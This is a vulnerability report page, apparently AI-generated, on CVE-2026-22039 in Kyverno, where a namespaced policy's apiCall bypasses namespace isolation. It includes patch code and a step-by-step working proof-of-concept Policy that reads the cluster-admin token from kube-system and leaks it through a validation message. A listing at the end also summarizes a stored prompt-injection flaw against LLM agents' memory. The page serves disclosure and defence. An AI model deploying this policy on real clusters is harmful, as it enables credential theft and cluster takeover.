CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22039

The Policeman's Backdoor: Escaping Namespaces in Kyverno (CVE-2026-22039)

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 28, 2026·5 min read·229 visits

Executive Summary (TL;DR)

Kyverno allows policies to fetch data from the Kubernetes API. Due to missing validation, a user with limited permissions (e.g., confined to a single namespace) could write a policy that asks Kyverno to fetch secrets from the `kube-system` namespace. Since Kyverno runs with cluster-wide privileges, it happily obliges, handing over the keys to the kingdom.

A critical authorization bypass and Server-Side Request Forgery (SSRF) vulnerability in Kyverno's policy engine allows restricted users to leverage the engine's high-privileged ServiceAccount to access or modify resources across the entire Kubernetes cluster.

The Hook: Who Watches the Watchmen?

Kyverno is the self-proclaimed 'police force' of Kubernetes. It's a policy engine designed to validate, mutate, and generate resources. To do its job effectively, the Kyverno ServiceAccount is typically decked out with god-mode permissions—it needs to see everything to police everything.

One of Kyverno's coolest features is the apiCall context provider. It allows a policy to dynamically fetch data from the Kubernetes API server to make smarter decisions. Think of it as a policy saying, "Hey API server, before I let this Pod in, tell me if the ConfigMap it needs actually exists."

But here is the catch: When a user defines a policy in their local, restricted namespace, Kyverno executes that logic using its own high-privileged identity. If Kyverno doesn't carefully check what the user is asking for, it becomes a confused deputy—a powerful entity tricked into doing dirty work for a low-level goon.

The Flaw: Trusting the User's Map

The vulnerability lies in how Kyverno handled apiCall requests defined in namespaced Policy resources (as opposed to ClusterPolicy). The design intent is clear: a policy in the dev namespace should only be able to query resources in the dev namespace.

However, the code responsible for executing these calls failed to validate the urlPath provided by the user. It simply took the path string—variables and all—and fired off an HTTP request to the local API server.

Because Kyverno didn't enforce that the path must align with the policy's namespace, an attacker could supply a path like /api/v1/namespaces/kube-system/secrets. Kyverno, running as a cluster-admin equivalent, would look at the request, nod, and fetch the sensitive data. It’s like locking your front door but leaving the window wide open because you assume only your friends know how to use a ladder.

The Smoking Gun: Code Analysis

Let's look at the fix to understand the breakage. The vulnerability existed in pkg/engine/apicall/apiCall.go. Prior to the patch, the Fetch function was far too trusting. The fix introduces a strict regex check and path cleaning.

Here is the logic introduced in the patch:

// The new sheriff in town: Regex to enforce namespace isolation
var namespacePathRegex = regexp.MustCompile(`^/api(s)?/.*?/namespaces/([^/]+)/?.*$`)
 
// Inside the Fetch() method:
if a.policyNamespace != "" {
    // 1. Sanitize the path to prevent directory traversal (e.g. /namespaces/ns/../)
    cleanPath := path.Clean(call.APICall.URLPath)
    
    // 2. Extract the namespace from the path
    if matches := namespacePathRegex.FindStringSubmatch(cleanPath); len(matches) > 2 {
        ns := matches[2]
        
        // 3. The fatal blow to the exploit: Exact Match Requirement
        if ns != a.policyNamespace {
            return nil, fmt.Errorf("path %s refers to namespace %s, which is different from the policy namespace %s", cleanPath, ns, a.policyNamespace)
        }
    } else {
        // Block cluster-scoped calls entirely for namespaced policies
        return nil, fmt.Errorf("path %s does not contain a namespace segment...", cleanPath)
    }
}

The previous code lacked these three critical checks. It didn't clean the path (allowing ../ traversal), and it didn't compare the requested namespace against the policy's origin namespace.

The Exploit: Stealing the Crown Jewels

Exploitation is trivial and requires no binary wizardry—just a bit of YAML. Imagine you are an attacker with access to the restricted-ns namespace. You want the cluster admin token.

Step 1: Draft the Malicious Policy You create a standard Policy object. In the context variable, you point the apiCall at the forbidden fruit.

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: pilfer-secrets
  namespace: restricted-ns
spec:
  rules:
  - name: exfiltrate
    match:
      any:
      - resources:
          kinds:
          - Pod
    context:
    - name: admin_secret
      apiCall:
        # The money shot: targeting kube-system from restricted-ns
        urlPath: "/api/v1/namespaces/kube-system/secrets/cluster-admin-token"
        method: GET
    validate:
      message: "Nothing to see here... except {{ admin_secret.data.token }}"
      deny: {}

Step 2: Trigger the Trap You create a dummy Pod in your restricted-ns. Kyverno intercepts the request.

Step 3: Profit Kyverno executes the apiCall as itself. It reads the secret from kube-system. Depending on how you structured the policy, Kyverno either blocks the Pod and prints the secret in the error message (visible to you in the CLI) or logs it to the centralized logging system. Congratulations, you are now Cluster Admin.

The Impact: Why Panic?

This is a CVSS 10.0 for a reason. It completely negates the concept of multi-tenancy in a Kubernetes cluster protected by Kyverno.

If you use Kyverno to enforce security, you have ironically introduced a mechanism to bypass it. An attacker doesn't need to exploit the kernel or find a buffer overflow in the container runtime. They just need permission to create a Policy—a permission often granted to developers so they can manage their own application guardrails.

This flaw allows for:

  1. Information Disclosure: Reading Secrets, ConfigMaps, and environment variables from any namespace.
  2. Privilege Escalation: Modifying RoleBindings or other auth resources if the apiCall supports mutation (PUT/POST/DELETE) and the Kyverno ServiceAccount allows it.
  3. Denial of Service: Deleting critical system resources.

The Fix: Closing the Loophole

The remediation is straightforward: Upgrade. The Kyverno team patched this in versions 1.15.3 and 1.16.3.

The patch forces apiCall paths in namespaced policies to be strictly contained within that namespace. It effectively sandboxes the apiCall logic.

If you cannot upgrade immediately, your only mitigation is to restrict RBAC permissions. Ensure that only trusted cluster administrators have the permission to create or update Policy resources. Regular developers should not be writing their own policies until the patch is applied.

Official Patches

KyvernoOfficial GitHub Security Advisory

Fix Analysis (2)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Affected Systems

Kyverno < 1.15.3Kyverno 1.16.0Kyverno 1.16.1Kyverno 1.16.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
Kyverno
Kyverno
< 1.15.31.15.3
Kyverno
Kyverno
>= 1.16.0, < 1.16.31.16.3
AttributeDetail
CVSS10.0 (Critical)
Attack VectorNetwork (Kubernetes API)
CWECWE-269 & CWE-918
Exploit StatusPoC Available
ComponentapiCall Context Provider
PrerequisitesPermission to create Policy objects

MITRE ATT&CK Mapping

T1555Credentials from Password Stores
Credential Access
T1068Exploitation for Privilege Escalation
Privilege Escalation
T1613Container and Resource Discovery
Discovery
CWE-269
Improper Privilege Management

Improper Privilege Management & Server-Side Request Forgery (SSRF)

Known Exploits & Detection

GitHub AdvisoryAdvisory containing the explanation of the attack vector

Vulnerability Timeline

Fix commits pushed to repository
2026-01-26
Security Advisory Published
2026-01-27
CVE-2026-22039 Assigned
2026-01-27

References & Sources

  • [1]GHSA-8p9x-46gm-qfx2
  • [2]Kyverno Documentation: apiCall

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
10 views•10 min read
•2 days ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
14 views•12 min read
•2 days ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read
•2 days ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
15 views•10 min read
•2 days ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
18 views•10 min read
•2 days ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
8 views•9 min read